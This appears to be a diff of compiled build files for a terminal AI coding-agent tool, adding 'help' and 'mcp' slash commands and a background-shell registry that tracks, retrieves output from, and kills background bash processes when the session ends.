- {"version":3,"file":"slash-commands.d.ts","sourceRoot":"","sources":["../../src/core/slash-commands.ts"],"names":[],"mappings":"AACA,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAEnD,MAAM,MAAM,kBAAkB,GAAG,WAAW,GAAG,QAAQ,GAAG,OAAO,CAAC;AAElE,MAAM,WAAW,gBAAgB;IAChC,IAAI,EAAE,MAAM,CAAC;IACb,WAAW,CAAC,EAAE,MAAM,CAAC;IACrB,MAAM,EAAE,kBAAkB,CAAC;IAC3B,UAAU,EAAE,UAAU,CAAC;CACvB;AAED,MAAM,WAAW,mBAAmB;IACnC,IAAI,EAAE,MAAM,CAAC;IACb,WAAW,EAAE,MAAM,CAAC;IACpB,YAAY,CAAC,EAAE,MAAM,CAAC;CACtB;AAED,eAAO,MAAM,sBAAsB,EAAE,aAAa,CAAC,mBAAmB,CA0BrE,CAAC","sourcesContent":["import { APP_NAME } from \"../config.ts\";\nimport type { SourceInfo } from \"./source-info.ts\";\n\nexport type SlashCommandSource = \"extension\" | \"prompt\" | \"skill\";\n\nexport interface SlashCommandInfo {\n\tname: string;\n\tdescription?: string;\n\tsource: SlashCommandSource;\n\tsourceInfo: SourceInfo;\n}\n\nexport interface BuiltinSlashCommand {\n\tname: string;\n\tdescription: string;\n\targumentHint?: string;\n}\n\nexport const BUILTIN_SLASH_COMMANDS: ReadonlyArray<BuiltinSlashCommand> = [\n\t{ name: \"config\", description: \"Open the configuration index\" },\n\t{ name: \"settings\", description: \"Open settings menu\" },\n\t{ name: \"model\", description: \"Pick a provider, then a model\", argumentHint: \"<provider/model>\" },\n\t{ name: \"tree\", description: \"Navigate session tree (switch branches)\" },\n\t{ name: \"thinking\", description: \"Set thinking level\", argumentHint: \"<level>\" },\n\t{ name: \"scoped-models\", description: \"Enable/disable models for Ctrl+P cycling\" },\n\t{ name: \"export\", description: \"Export session (HTML default, or specify path: .html/.jsonl)\" },\n\t{ name: \"import\", description: \"Import and resume a session from a JSONL file\" },\n\t{ name: \"share\", description: \"Share session as a secret GitHub gist\" },\n\t{ name: \"copy\", description: \"Copy last agent message to clipboard\" },\n\t{ name: \"name\", description: \"Set session display name\" },\n\t{ name: \"session\", description: \"Show session info and stats\" },\n\t{ name: \"changelog\", description: \"Show changelog entries\" },\n\t{ name: \"hotkeys\", description: \"Show all keyboard shortcuts\" },\n\t{ name: \"resources\", description: \"List loaded skills, extensions, prompts, and any conflicts\" },\n\t{ name: \"fork\", description: \"Create a new fork from a previous user message\" },\n\t{ name: \"clone\", description: \"Duplicate the current session at the current position\" },\n\t{ name: \"trust\", description: \"Save project trust decision for future sessions\" },\n\t{ name: \"login\", description: \"Configure provider authentication\", argumentHint: \"<provider>\" },\n\t{ name: \"logout\", description: \"Remove provider authentication\" },\n\t{ name: \"new\", description: \"Start a new session\" },\n\t{ name: \"compact\", description: \"Manually compact the session context\" },\n\t{ name: \"resume\", description: \"Resume a different session\" },\n\t{ name: \"reload\", description: \"Reload keybindings, extensions, skills, prompts, themes, and context files\" },\n\t{ name: \"quit\", description: `Quit ${APP_NAME}` },\n];\n"]}
1
+ {"version":3,"file":"slash-commands.d.ts","sourceRoot":"","sources":["../../src/core/slash-commands.ts"],"names":[],"mappings":"AACA,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAEnD,MAAM,MAAM,kBAAkB,GAAG,WAAW,GAAG,QAAQ,GAAG,OAAO,CAAC;AAElE,MAAM,WAAW,gBAAgB;IAChC,IAAI,EAAE,MAAM,CAAC;IACb,WAAW,CAAC,EAAE,MAAM,CAAC;IACrB,MAAM,EAAE,kBAAkB,CAAC;IAC3B,UAAU,EAAE,UAAU,CAAC;CACvB;AAED,MAAM,WAAW,mBAAmB;IACnC,IAAI,EAAE,MAAM,CAAC;IACb,WAAW,EAAE,MAAM,CAAC;IACpB,YAAY,CAAC,EAAE,MAAM,CAAC;CACtB;AAED,eAAO,MAAM,sBAAsB,EAAE,aAAa,CAAC,mBAAmB,CA4BrE,CAAC","sourcesContent":["import { APP_NAME } from \"../config.ts\";\nimport type { SourceInfo } from \"./source-info.ts\";\n\nexport type SlashCommandSource = \"extension\" | \"prompt\" | \"skill\";\n\nexport interface SlashCommandInfo {\n\tname: string;\n\tdescription?: string;\n\tsource: SlashCommandSource;\n\tsourceInfo: SourceInfo;\n}\n\nexport interface BuiltinSlashCommand {\n\tname: string;\n\tdescription: string;\n\targumentHint?: string;\n}\n\nexport const BUILTIN_SLASH_COMMANDS: ReadonlyArray<BuiltinSlashCommand> = [\n\t{ name: \"help\", description: \"Show every command available in this session\" },\n\t{ name: \"config\", description: \"Open the configuration index\" },\n\t{ name: \"settings\", description: \"Open settings menu\" },\n\t{ name: \"model\", description: \"Pick a provider, then a model\", argumentHint: \"<provider/model>\" },\n\t{ name: \"tree\", description: \"Navigate session tree (switch branches)\" },\n\t{ name: \"thinking\", description: \"Set thinking level\", argumentHint: \"<level>\" },\n\t{ name: \"scoped-models\", description: \"Enable/disable models for Ctrl+P cycling\" },\n\t{ name: \"export\", description: \"Export session (HTML default, or specify path: .html/.jsonl)\" },\n\t{ name: \"import\", description: \"Import and resume a session from a JSONL file\" },\n\t{ name: \"share\", description: \"Share session as a secret GitHub gist\" },\n\t{ name: \"copy\", description: \"Copy last agent message to clipboard\" },\n\t{ name: \"name\", description: \"Set session display name\" },\n\t{ name: \"session\", description: \"Show session info and stats\" },\n\t{ name: \"changelog\", description: \"Show changelog entries\" },\n\t{ name: \"hotkeys\", description: \"Show all keyboard shortcuts\" },\n\t{ name: \"resources\", description: \"List loaded skills, extensions, prompts, and any conflicts\" },\n\t{ name: \"fork\", description: \"Create a new fork from a previous user message\" },\n\t{ name: \"clone\", description: \"Duplicate the current session at the current position\" },\n\t{ name: \"trust\", description: \"Save project trust decision for future sessions\" },\n\t{ name: \"login\", description: \"Configure provider authentication\", argumentHint: \"<provider>\" },\n\t{ name: \"logout\", description: \"Remove provider authentication\" },\n\t{ name: \"mcp\", description: \"Authorize an MCP server (OAuth)\", argumentHint: \"auth <server>\" },\n\t{ name: \"new\", description: \"Start a new session\" },\n\t{ name: \"compact\", description: \"Manually compact the session context\" },\n\t{ name: \"resume\", description: \"Resume a different session\" },\n\t{ name: \"reload\", description: \"Reload keybindings, extensions, skills, prompts, themes, and context files\" },\n\t{ name: \"quit\", description: `Quit ${APP_NAME}` },\n];\n"]}
@@ -1,5 +1,6 @@
1
1
  import { APP_NAME } from "../config.js";
2
2
  export const BUILTIN_SLASH_COMMANDS = [
3
+ { name: "help", description: "Show every command available in this session" },
3
4
  { name: "config", description: "Open the configuration index" },
4
5
  { name: "settings", description: "Open settings menu" },
5
6
  { name: "model", description: "Pick a provider, then a model", argumentHint: "<provider/model>" },
@@ -20,6 +21,7 @@ export const BUILTIN_SLASH_COMMANDS = [
20
21
  { name: "trust", description: "Save project trust decision for future sessions" },
21
22
  { name: "login", description: "Configure provider authentication", argumentHint: "<provider>" },
22
23
  { name: "logout", description: "Remove provider authentication" },
24
+ { name: "mcp", description: "Authorize an MCP server (OAuth)", argumentHint: "auth <server>" },
23
25
  { name: "new", description: "Start a new session" },
24
26
  { name: "compact", description: "Manually compact the session context" },
25
27
  { name: "resume", description: "Resume a different session" },
@@ -1 +1 @@
1
- {"version":3,"file":"slash-commands.js","sourceRoot":"","sources":["../../src/core/slash-commands.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,QAAQ,EAAE,MAAM,cAAc,CAAC;AAkBxC,MAAM,CAAC,MAAM,sBAAsB,GAAuC;IACzE,EAAE,IAAI,EAAE,QAAQ,EAAE,WAAW,EAAE,8BAA8B,EAAE;IAC/D,EAAE,IAAI,EAAE,UAAU,EAAE,WAAW,EAAE,oBAAoB,EAAE;IACvD,EAAE,IAAI,EAAE,OAAO,EAAE,WAAW,EAAE,+BAA+B,EAAE,YAAY,EAAE,kBAA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AAW,EAAE,sCAAsC,EAAE;IACxE,EAAE,IAAI,EAAE,QAAQ,EAAE,WAAW,EAAE,4BAA4B,EAAE;IAC7D,EAAE,IAAI,EAAE,QAAQ,EAAE,WAAW,EAAE,4EAA4E,EAAE;IAC7G,EAAE,IAAI,EAAE,MAAM,EAAE,WAAW,EAAE,QAAQ,QAAQ,EAAE,EAAE;CACjD,CAAC","sourcesContent":["import { APP_NAME } from \"../config.ts\";\nimport type { SourceInfo } from \"./source-info.ts\";\n\nexport type SlashCommandSource = \"extension\" | \"prompt\" | \"skill\";\n\nexport interface SlashCommandInfo {\n\tname: string;\n\tdescription?: string;\n\tsource: SlashCommandSource;\n\tsourceInfo: SourceInfo;\n}\n\nexport interface BuiltinSlashCommand {\n\tname: string;\n\tdescription: string;\n\targumentHint?: string;\n}\n\nexport const BUILTIN_SLASH_COMMANDS: ReadonlyArray<BuiltinSlashCommand> = [\n\t{ name: \"config\", description: \"Open the configuration index\" },\n\t{ name: \"settings\", description: \"Open settings menu\" },\n\t{ name: \"model\", description: \"Pick a provider, then a model\", argumentHint: \"<provider/model>\" },\n\t{ name: \"tree\", description: \"Navigate session tree (switch branches)\" },\n\t{ name: \"thinking\", description: \"Set thinking level\", argumentHint: \"<level>\" },\n\t{ name: \"scoped-models\", description: \"Enable/disable models for Ctrl+P cycling\" },\n\t{ name: \"export\", description: \"Export session (HTML default, or specify path: .html/.jsonl)\" },\n\t{ name: \"import\", description: \"Import and resume a session from a JSONL file\" },\n\t{ name: \"share\", description: \"Share session as a secret GitHub gist\" },\n\t{ name: \"copy\", description: \"Copy last agent message to clipboard\" },\n\t{ name: \"name\", description: \"Set session display name\" },\n\t{ name: \"session\", description: \"Show session info and stats\" },\n\t{ name: \"changelog\", description: \"Show changelog entries\" },\n\t{ name: \"hotkeys\", description: \"Show all keyboard shortcuts\" },\n\t{ name: \"resources\", description: \"List loaded skills, extensions, prompts, and any conflicts\" },\n\t{ name: \"fork\", description: \"Create a new fork from a previous user message\" },\n\t{ name: \"clone\", description: \"Duplicate the current session at the current position\" },\n\t{ name: \"trust\", description: \"Save project trust decision for future sessions\" },\n\t{ name: \"login\", description: \"Configure provider authentication\", argumentHint: \"<provider>\" },\n\t{ name: \"logout\", description: \"Remove provider authentication\" },\n\t{ name: \"new\", description: \"Start a new session\" },\n\t{ name: \"compact\", description: \"Manually compact the session context\" },\n\t{ name: \"resume\", description: \"Resume a different session\" },\n\t{ name: \"reload\", description: \"Reload keybindings, extensions, skills, prompts, themes, and context files\" },\n\t{ name: \"quit\", description: `Quit ${APP_NAME}` },\n];\n"]}
1
+ {"version":3,"file":"slash-commands.js","sourceRoot":"","sources":["../../src/core/slash-commands.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,QAAQ,EAAE,MAAM,cAAc,CAAC;AAkBxC,MAAM,CAAC,MAAM,sBAAsB,GAAuC;IACzE,EAAE,IAAI,EAAE,MAAM,EAAE,WAAW,EAAE,8CAA8C,EAAE;IAC7E,EAAE,IAAI,EAAE,QAAQ,EAAE,WAAW,EAAE,8BAA8B,EAAE;IAC/D,EAAE,IAAI,EAAE,UAAU,EAAE,WAAW,EAAE,oBAAoB,EAAE;IACvD,EAAE,IAAI,EAAE,OAAO,EAAE,WAAW,EAAE,+BAA+B,EAAE,YAAY,EAAE,kBAAkB,EAAE;IACjG,EAAE,IAAI,EAAE,MAAM,EAAE,WAAW,EAAE,yCAAyC,EAAE;IACxE,EAAE,IAAI,EAAE,UAAU,EAAE,WAAW,EAAE,oBAAoB,EAAE,YAAY,EAAE,SAAS,EAAE;IAChF,EAAE,IAAI,EAAE,eAAe,EAAE,WAAW,EAAE,0CAA0C,EAAE;IAClF,EAAE,IAAI,EAAE,QAAQ,EAAE,WAAW,EAAE,8DAA8D,EAAE;IAC/F,EAAE,IAAI,EAAE,QAAQ,EAAE,WAAW,EAAE,+CAA+C,EAAE;IAChF,EAAE,IAAI,EAAE,OAAO,EAAE,WAAW,EAAE,uCAAuC,EAAE;IACvE,EAAE,IAAI,EAAE,MAAM,EAAE,WAAW,EAAE,sCAAsC,EAAE;IACrE,EAAE,IAAI,EAAE,MAAM,EAAE,WAAW,EAAE,0BAA0B,EAAE;IACzD,EAAE,IAAI,EAAE,SAAS,EAAE,WAAW,EAAE,6BAA6B,EAAE;IAC/D,EAAE,IAAI,EAAE,WAAW,EAAE,WAAW,EAAE,wBAAwB,EAAE;IAC5D,EAAE,IAAI,EAAE,SAAS,EAAE,WAAW,EAAE,6BAA6B,EAAE;IAC/D,EAAE,IAAI,EAAE,WAAW,EAAE,WAAW,EAAE,4DAA4D,EAAE;IAChG,EAAE,IAAI,EAAE,MAAM,EAAE,WAAW,EAAE,gDAAgD,EAAE;IAC/E,EAAE,IAAI,EAAE,OAAO,EAAE,WAAW,EAAE,uDAAuD,EAAE;IACvF,EAAE,IAAI,EAAE,OAAO,EAAE,WAAW,EAAE,iDAAiD,EAAE;IACjF,EAAE,IAAI,EAAE,OAAO,EAAE,WAAW,EAAE,mCAAmC,EAAE,YAAY,EAAE,YAAY,EAAE;IAC/F,EAAE,IAAI,EAAE,QAAQ,EAAE,WAAW,EAAE,gCAAgC,EAAE;IACjE,EAAE,IAAI,EAAE,KAAK,EAAE,WAAW,EAAE,iCAAiC,EAAE,YAAY,EAAE,eAAe,EAAE;IAC9F,EAAE,IAAI,EAAE,KAAK,EAAE,WAAW,EAAE,qBAAqB,EAAE;IACnD,EAAE,IAAI,EAAE,SAAS,EAAE,WAAW,EAAE,sCAAsC,EAAE;IACxE,EAAE,IAAI,EAAE,QAAQ,EAAE,WAAW,EAAE,4BAA4B,EAAE;IAC7D,EAAE,IAAI,EAAE,QAAQ,EAAE,WAAW,EAAE,4EAA4E,EAAE;IAC7G,EAAE,IAAI,EAAE,MAAM,EAAE,WAAW,EAAE,QAAQ,QAAQ,EAAE,EAAE;CACjD,CAAC","sourcesContent":["import { APP_NAME } from \"../config.ts\";\nimport type { SourceInfo } from \"./source-info.ts\";\n\nexport type SlashCommandSource = \"extension\" | \"prompt\" | \"skill\";\n\nexport interface SlashCommandInfo {\n\tname: string;\n\tdescription?: string;\n\tsource: SlashCommandSource;\n\tsourceInfo: SourceInfo;\n}\n\nexport interface BuiltinSlashCommand {\n\tname: string;\n\tdescription: string;\n\targumentHint?: string;\n}\n\nexport const BUILTIN_SLASH_COMMANDS: ReadonlyArray<BuiltinSlashCommand> = [\n\t{ name: \"help\", description: \"Show every command available in this session\" },\n\t{ name: \"config\", description: \"Open the configuration index\" },\n\t{ name: \"settings\", description: \"Open settings menu\" },\n\t{ name: \"model\", description: \"Pick a provider, then a model\", argumentHint: \"<provider/model>\" },\n\t{ name: \"tree\", description: \"Navigate session tree (switch branches)\" },\n\t{ name: \"thinking\", description: \"Set thinking level\", argumentHint: \"<level>\" },\n\t{ name: \"scoped-models\", description: \"Enable/disable models for Ctrl+P cycling\" },\n\t{ name: \"export\", description: \"Export session (HTML default, or specify path: .html/.jsonl)\" },\n\t{ name: \"import\", description: \"Import and resume a session from a JSONL file\" },\n\t{ name: \"share\", description: \"Share session as a secret GitHub gist\" },\n\t{ name: \"copy\", description: \"Copy last agent message to clipboard\" },\n\t{ name: \"name\", description: \"Set session display name\" },\n\t{ name: \"session\", description: \"Show session info and stats\" },\n\t{ name: \"changelog\", description: \"Show changelog entries\" },\n\t{ name: \"hotkeys\", description: \"Show all keyboard shortcuts\" },\n\t{ name: \"resources\", description: \"List loaded skills, extensions, prompts, and any conflicts\" },\n\t{ name: \"fork\", description: \"Create a new fork from a previous user message\" },\n\t{ name: \"clone\", description: \"Duplicate the current session at the current position\" },\n\t{ name: \"trust\", description: \"Save project trust decision for future sessions\" },\n\t{ name: \"login\", description: \"Configure provider authentication\", argumentHint: \"<provider>\" },\n\t{ name: \"logout\", description: \"Remove provider authentication\" },\n\t{ name: \"mcp\", description: \"Authorize an MCP server (OAuth)\", argumentHint: \"auth <server>\" },\n\t{ name: \"new\", description: \"Start a new session\" },\n\t{ name: \"compact\", description: \"Manually compact the session context\" },\n\t{ name: \"resume\", description: \"Resume a different session\" },\n\t{ name: \"reload\", description: \"Reload keybindings, extensions, skills, prompts, themes, and context files\" },\n\t{ name: \"quit\", description: `Quit ${APP_NAME}` },\n];\n"]}
@@ -0,0 +1,39 @@
1
+ import type { OutputAccumulator } from "./output-accumulator.ts";
2
+ /**
3
+ * The background-shell registry (spec 2026-08-31-background-shell.md): handles
4
+ * for `bash` commands launched with `background: true`, mirroring delegation's
5
+ * recorded lifetime rule -- entries live for their registry's lifetime, which
6
+ * is the session's, and `dispose` kills everything still running so no child
7
+ * outlives the session that launched it.
8
+ */
9
+ export interface BackgroundShellLaunch {
10
+ command: string;
11
+ pid?: number;
12
+ output: OutputAccumulator;
13
+ exited: Promise<number | null>;
14
+ }
15
+ export interface BackgroundShellStatus {
16
+ handle: string;
17
+ command: string;
18
+ startedAt: number;
19
+ running: boolean;
20
+ killed: boolean;
21
+ exitCode?: number | null;
22
+ }
23
+ export interface BackgroundShellRetrieval {
24
+ status: BackgroundShellStatus;
25
+ snapshot: ReturnType<OutputAccumulator["snapshot"]>;
26
+ }
27
+ export declare class BackgroundShellRegistry {
28
+ #private;
29
+ launch(input: BackgroundShellLaunch): string;
30
+ status(handle: string): BackgroundShellStatus | undefined;
31
+ retrieve(handle: string): Promise<BackgroundShellRetrieval | undefined>;
32
+ kill(handle: string): BackgroundShellStatus | undefined;
33
+ dispose(): void;
34
+ handles(): string[];
35
+ /** Evidence support: resolve a handle back to the command that produced the output. */
36
+ commandFor(handle: string): string | undefined;
37
+ }
38
+ export declare function createBackgroundShellRegistry(): BackgroundShellRegistry;
39
+ //# sourceMappingURL=background-shell.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"background-shell.d.ts","sourceRoot":"","sources":["../../../src/core/tools/background-shell.ts"],"names":[],"mappings":"AAEA,OAAO,KAAK,EAAE,iBAAiB,EAAE,MAAM,yBAAyB,CAAC;AAEjE;;;;;;GAMG;AAEH,MAAM,WAAW,qBAAqB;IACrC,OAAO,EAAE,MAAM,CAAC;IAChB,GAAG,CAAC,EAAE,MAAM,CAAC;IACb,MAAM,EAAE,iBAAiB,CAAC;IAC1B,MAAM,EAAE,OAAO,CAAC,MAAM,GAAG,IAAI,CAAC,CAAC;CAC/B;AAED,MAAM,WAAW,qBAAqB;IACrC,MAAM,EAAE,MAAM,CAAC;IACf,OAAO,EAAE,MAAM,CAAC;IAChB,SAAS,EAAE,MAAM,CAAC;IAClB,OAAO,EAAE,OAAO,CAAC;IACjB,MAAM,EAAE,OAAO,CAAC;IAChB,QAAQ,CAAC,EAAE,MAAM,GAAG,IAAI,CAAC;CACzB;AAED,MAAM,WAAW,wBAAwB;IACxC,MAAM,EAAE,qBAAqB,CAAC;IAC9B,QAAQ,EAAE,UAAU,CAAC,iBAAiB,CAAC,UAAU,CAAC,CAAC,CAAC;CACpD;AAQD,qBAAa,uBAAuB;;IAGnC,MAAM,CAAC,KAAK,EAAE,qBAAqB,GAAG,MAAM,CAwB3C;IAED,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,qBAAqB,GAAG,SAAS,CAKxD;IAEK,QAAQ,CAAC,MAAM,EAAE,MAAM,GAAG,OAAO,CAAC,wBAAwB,GAAG,SAAS,CAAC,CAa5E;IAED,IAAI,CAAC,MAAM,EAAE,MAAM,GAAG,qBAAqB,GAAG,SAAS,CAQtD;IAED,OAAO,IAAI,IAAI,CAOd;IAED,OAAO,IAAI,MAAM,EAAE,CAElB;IAED,uFAAuF;IACvF,UAAU,CAAC,MAAM,EAAE,MAAM,GAAG,MAAM,GAAG,SAAS,CAE7C;CACD;AAED,wBAAgB,6BAA6B,IAAI,uBAAuB,CAEvE","sourcesContent":["import { randomUUID } from \"node:crypto\";\nimport { killProcessTree } from \"../../utils/shell.ts\";\nimport type { OutputAccumulator } from \"./output-accumulator.ts\";\n\n/**\n * The background-shell registry (spec 2026-08-31-background-shell.md): handles\n * for `bash` commands launched with `background: true`, mirroring delegation's\n * recorded lifetime rule -- entries live for their registry's lifetime, which\n * is the session's, and `dispose` kills everything still running so no child\n * outlives the session that launched it.\n */\n\nexport interface BackgroundShellLaunch {\n\tcommand: string;\n\tpid?: number;\n\toutput: OutputAccumulator;\n\texited: Promise<number | null>;\n}\n\nexport interface BackgroundShellStatus {\n\thandle: string;\n\tcommand: string;\n\tstartedAt: number;\n\trunning: boolean;\n\tkilled: boolean;\n\texitCode?: number | null;\n}\n\nexport interface BackgroundShellRetrieval {\n\tstatus: BackgroundShellStatus;\n\tsnapshot: ReturnType<OutputAccumulator[\"snapshot\"]>;\n}\n\ninterface Entry extends BackgroundShellStatus {\n\tpid?: number;\n\toutput: OutputAccumulator;\n\tfinalized: boolean;\n}\n\nexport class BackgroundShellRegistry {\n\treadonly #entries = new Map<string, Entry>();\n\n\tlaunch(input: BackgroundShellLaunch): string {\n\t\tconst handle = randomUUID();\n\t\tconst entry: Entry = {\n\t\t\thandle,\n\t\t\tcommand: input.command,\n\t\t\tstartedAt: Date.now(),\n\t\t\tpid: input.pid,\n\t\t\tkilled: false,\n\t\t\trunning: true,\n\t\t\toutput: input.output,\n\t\t\tfinalized: false,\n\t\t};\n\t\tthis.#entries.set(handle, entry);\n\t\tvoid input.exited.then(\n\t\t\t(code) => {\n\t\t\t\tentry.running = false;\n\t\t\t\tentry.exitCode = code;\n\t\t\t},\n\t\t\t() => {\n\t\t\t\tentry.running = false;\n\t\t\t\tentry.exitCode = null;\n\t\t\t},\n\t\t);\n\t\treturn handle;\n\t}\n\n\tstatus(handle: string): BackgroundShellStatus | undefined {\n\t\tconst entry = this.#entries.get(handle);\n\t\tif (!entry) return undefined;\n\t\tconst { output: _output, finalized: _finalized, ...status } = entry;\n\t\treturn status;\n\t}\n\n\tasync retrieve(handle: string): Promise<BackgroundShellRetrieval | undefined> {\n\t\tconst entry = this.#entries.get(handle);\n\t\tif (!entry) return undefined;\n\t\tif (!entry.running && !entry.finalized) {\n\t\t\tentry.output.finish();\n\t\t\ttry {\n\t\t\t\tawait entry.output.closeTempFile();\n\t\t\t} catch {\n\t\t\t\t// Already closed by a concurrent retrieval; the snapshot below is still valid.\n\t\t\t}\n\t\t\tentry.finalized = true;\n\t\t}\n\t\treturn { status: this.status(handle)!, snapshot: entry.output.snapshot({ persistIfTruncated: true }) };\n\t}\n\n\tkill(handle: string): BackgroundShellStatus | undefined {\n\t\tconst entry = this.#entries.get(handle);\n\t\tif (!entry) return undefined;\n\t\tif (entry.running) {\n\t\t\tentry.killed = true;\n\t\t\tif (entry.pid) killProcessTree(entry.pid);\n\t\t}\n\t\treturn this.status(handle);\n\t}\n\n\tdispose(): void {\n\t\tfor (const entry of this.#entries.values()) {\n\t\t\tif (entry.running) {\n\t\t\t\tentry.killed = true;\n\t\t\t\tif (entry.pid) killProcessTree(entry.pid);\n\t\t\t}\n\t\t}\n\t}\n\n\thandles(): string[] {\n\t\treturn [...this.#entries.keys()];\n\t}\n\n\t/** Evidence support: resolve a handle back to the command that produced the output. */\n\tcommandFor(handle: string): string | undefined {\n\t\treturn this.#entries.get(handle)?.command;\n\t}\n}\n\nexport function createBackgroundShellRegistry(): BackgroundShellRegistry {\n\treturn new BackgroundShellRegistry();\n}\n"]}
@@ -0,0 +1,81 @@
1
+ import { randomUUID } from "node:crypto";
2
+ import { killProcessTree } from "../../utils/shell.js";
3
+ export class BackgroundShellRegistry {
4
+ #entries = new Map();
5
+ launch(input) {
6
+ const handle = randomUUID();
7
+ const entry = {
8
+ handle,
9
+ command: input.command,
10
+ startedAt: Date.now(),
11
+ pid: input.pid,
12
+ killed: false,
13
+ running: true,
14
+ output: input.output,
15
+ finalized: false,
16
+ };
17
+ this.#entries.set(handle, entry);
18
+ void input.exited.then((code) => {
19
+ entry.running = false;
20
+ entry.exitCode = code;
21
+ }, () => {
22
+ entry.running = false;
23
+ entry.exitCode = null;
24
+ });
25
+ return handle;
26
+ }
27
+ status(handle) {
28
+ const entry = this.#entries.get(handle);
29
+ if (!entry)
30
+ return undefined;
31
+ const { output: _output, finalized: _finalized, ...status } = entry;
32
+ return status;
33
+ }
34
+ async retrieve(handle) {
35
+ const entry = this.#entries.get(handle);
36
+ if (!entry)
37
+ return undefined;
38
+ if (!entry.running && !entry.finalized) {
39
+ entry.output.finish();
40
+ try {
41
+ await entry.output.closeTempFile();
42
+ }
43
+ catch {
44
+ // Already closed by a concurrent retrieval; the snapshot below is still valid.
45
+ }
46
+ entry.finalized = true;
47
+ }
48
+ return { status: this.status(handle), snapshot: entry.output.snapshot({ persistIfTruncated: true }) };
49
+ }
50
+ kill(handle) {
51
+ const entry = this.#entries.get(handle);
52
+ if (!entry)
53
+ return undefined;
54
+ if (entry.running) {
55
+ entry.killed = true;
56
+ if (entry.pid)
57
+ killProcessTree(entry.pid);
58
+ }
59
+ return this.status(handle);
60
+ }
61
+ dispose() {
62
+ for (const entry of this.#entries.values()) {
63
+ if (entry.running) {
64
+ entry.killed = true;
65
+ if (entry.pid)
66
+ killProcessTree(entry.pid);
67
+ }
68
+ }
69
+ }
70
+ handles() {
71
+ return [...this.#entries.keys()];
72
+ }
73
+ /** Evidence support: resolve a handle back to the command that produced the output. */
74
+ commandFor(handle) {
75
+ return this.#entries.get(handle)?.command;
76
+ }
77
+ }
78
+ export function createBackgroundShellRegistry() {
79
+ return new BackgroundShellRegistry();
80
+ }
81
+ //# sourceMappingURL=background-shell.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"background-shell.js","sourceRoot":"","sources":["../../../src/core/tools/background-shell.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,UAAU,EAAE,MAAM,aAAa,CAAC;AACzC,OAAO,EAAE,eAAe,EAAE,MAAM,sBAAsB,CAAC;AAsCvD,MAAM,OAAO,uBAAuB;IAC1B,QAAQ,GAAG,IAAI,GAAG,EAAiB,CAAC;IAE7C,MAAM,CAAC,KAA4B,EAAU;QAC5C,MAAM,MAAM,GAAG,UAAU,EAAE,CAAC;QAC5B,MAAM,KAAK,GAAU;YACpB,MAAM;YACN,OAAO,EAAE,KAAK,CAAC,OAAO;YACtB,SAAS,EAAE,IAAI,CAAC,GAAG,EAAE;YACr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D;AAED,MAAM,UAAU,6BAA6B,GAA4B;IACxE,OAAO,IAAI,uBAAuB,EAAE,CAAC;AAAA,CACrC","sourcesContent":["import { randomUUID } from \"node:crypto\";\nimport { killProcessTree } from \"../../utils/shell.ts\";\nimport type { OutputAccumulator } from \"./output-accumulator.ts\";\n\n/**\n * The background-shell registry (spec 2026-08-31-background-shell.md): handles\n * for `bash` commands launched with `background: true`, mirroring delegation's\n * recorded lifetime rule -- entries live for their registry's lifetime, which\n * is the session's, and `dispose` kills everything still running so no child\n * outlives the session that launched it.\n */\n\nexport interface BackgroundShellLaunch {\n\tcommand: string;\n\tpid?: number;\n\toutput: OutputAccumulator;\n\texited: Promise<number | null>;\n}\n\nexport interface BackgroundShellStatus {\n\thandle: string;\n\tcommand: string;\n\tstartedAt: number;\n\trunning: boolean;\n\tkilled: boolean;\n\texitCode?: number | null;\n}\n\nexport interface BackgroundShellRetrieval {\n\tstatus: BackgroundShellStatus;\n\tsnapshot: ReturnType<OutputAccumulator[\"snapshot\"]>;\n}\n\ninterface Entry extends BackgroundShellStatus {\n\tpid?: number;\n\toutput: OutputAccumulator;\n\tfinalized: boolean;\n}\n\nexport class BackgroundShellRegistry {\n\treadonly #entries = new Map<string, Entry>();\n\n\tlaunch(input: BackgroundShellLaunch): string {\n\t\tconst handle = randomUUID();\n\t\tconst entry: Entry = {\n\t\t\thandle,\n\t\t\tcommand: input.command,\n\t\t\tstartedAt: Date.now(),\n\t\t\tpid: input.pid,\n\t\t\tkilled: false,\n\t\t\trunning: true,\n\t\t\toutput: input.output,\n\t\t\tfinalized: false,\n\t\t};\n\t\tthis.#entries.set(handle, entry);\n\t\tvoid input.exited.then(\n\t\t\t(code) => {\n\t\t\t\tentry.running = false;\n\t\t\t\tentry.exitCode = code;\n\t\t\t},\n\t\t\t() => {\n\t\t\t\tentry.running = false;\n\t\t\t\tentry.exitCode = null;\n\t\t\t},\n\t\t);\n\t\treturn handle;\n\t}\n\n\tstatus(handle: string): BackgroundShellStatus | undefined {\n\t\tconst entry = this.#entries.get(handle);\n\t\tif (!entry) return undefined;\n\t\tconst { output: _output, finalized: _finalized, ...status } = entry;\n\t\treturn status;\n\t}\n\n\tasync retrieve(handle: string): Promise<BackgroundShellRetrieval | undefined> {\n\t\tconst entry = this.#entries.get(handle);\n\t\tif (!entry) return undefined;\n\t\tif (!entry.running && !entry.finalized) {\n\t\t\tentry.output.finish();\n\t\t\ttry {\n\t\t\t\tawait entry.output.closeTempFile();\n\t\t\t} catch {\n\t\t\t\t// Already closed by a concurrent retrieval; the snapshot below is still valid.\n\t\t\t}\n\t\t\tentry.finalized = true;\n\t\t}\n\t\treturn { status: this.status(handle)!, snapshot: entry.output.snapshot({ persistIfTruncated: true }) };\n\t}\n\n\tkill(handle: string): BackgroundShellStatus | undefined {\n\t\tconst entry = this.#entries.get(handle);\n\t\tif (!entry) return undefined;\n\t\tif (entry.running) {\n\t\t\tentry.killed = true;\n\t\t\tif (entry.pid) killProcessTree(entry.pid);\n\t\t}\n\t\treturn this.status(handle);\n\t}\n\n\tdispose(): void {\n\t\tfor (const entry of this.#entries.values()) {\n\t\t\tif (entry.running) {\n\t\t\t\tentry.killed = true;\n\t\t\t\tif (entry.pid) killProcessTree(entry.pid);\n\t\t\t}\n\t\t}\n\t}\n\n\thandles(): string[] {\n\t\treturn [...this.#entries.keys()];\n\t}\n\n\t/** Evidence support: resolve a handle back to the command that produced the output. */\n\tcommandFor(handle: string): string | undefined {\n\t\treturn 